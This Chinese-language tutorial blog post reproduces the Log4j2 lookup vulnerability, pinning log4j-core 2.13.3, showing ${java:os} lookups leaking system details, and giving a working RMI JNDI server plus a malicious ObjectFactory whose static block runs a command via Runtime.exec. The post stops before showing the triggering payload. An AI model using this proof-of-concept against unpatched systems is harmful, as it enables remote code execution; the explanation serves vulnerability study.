欢迎来到DIVCSS5查找CSS资料与学习DIV CSS布局技术!
漏洞问题重现
 
依赖
 
首先,先码一下依赖,我这里是gradle工程,大都督的是maven工程,不过都一样。
 
//今天的主角,log4j2
 
implementation 'org.apache.logging.log4j:log4j-core:2.13.3'
 
implementation 'org.apache.logging.log4j:log4j-api:2.13.3'
 
//下面这俩不重要,主要是为了提高逼格的
 
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.11'
 
implementation 'org.glassfish:jakarta.el:3.0.3'
 
常规的日志写法
 
一般来说我们是这么写日志的。因为这个demo我仅仅只依赖了log4j2,所以代码就直接调用log4j2的api记录日志了。
 
public class Main {
 
    private static  final  Logger logger = LogManager.getLogger();
 
    public static void main(String[] args) {
 
        String content = "world";
 
        logger.trace("hello {}",content);
 
    }
 
}
 
上面这个应该是我们非常常用的一种日志记录手法了。输出的结果应该是hello world
 
lookups
 
不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能log4j2的lookups说明。
 
这功能强大啊,我们用demo看一下:
 
public class Main {
 
    private static  final  Logger logger = LogManager.getLogger();
 
    public static void main(String[] args) {
 
        String content = "world";
 
        logger.trace("hello {}",content);
 
        //https://logging.apache.org/log4j/2.x/manual/lookups.html
 
        String content2 = "${java:os}";
 
        logger.trace("hello {}",content2);
 
        String content3 = "${java:vm}";
 
        logger.trace("hello {}",content3);
 
    }
 
}
 
我们看下输出的结果:
 
2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
 
2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
 
2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)
 
从结果上可以看到,输出的并不是hello ${java:os}和hello ${java:vm},而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。
 
Jndi Lookup
 
但是,log4j2还支持了Jndi Lookup这就很要命了。为了观察这个问题,我们先启动个JNDI的服务看看
 
public class SimpleJndiServer {
 
    public static void main(String[] args) {
 
        try {
 
            Registry registry = LocateRegistry.createRegistry(1099);
 
            System.out.println("create rmi 1099");
 
            Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
 
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
 
            registry.bind("demo", wrapper);
 
        } catch (RemoteException | NamingException | AlreadyBoundException e) {
 
            e.printStackTrace();
 
        }
 
    }
 
}
 
public class JndiObj implements ObjectFactory {
 
    static {
 
        System.out.println("this is JndiObj,i'm here!");
 
        try {
 
            //打开远程链接
 
            Runtime.getRuntime()。exec("mstsc");
 
        } catch (IOException e) {
 
            e.printStackTrace();
 
        }
 
    }
 
    private String name;
 
    public String getName() {
 
        return name;
 
    }
 
    public void setName(String name) {
 
        this.name = name;
 
    }
 
    @Override
 
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
 
        return new JndiObj();
 
    }
 
    @Override
 
    public String toString() {
 
        return "JndiObj{" +
 
                "name='" + name + '\'' +
 
                '}';
 
    }
 
}

如需转载,请注明文章出处和来源网址:http://www.divcss5.com/html/h64995.shtml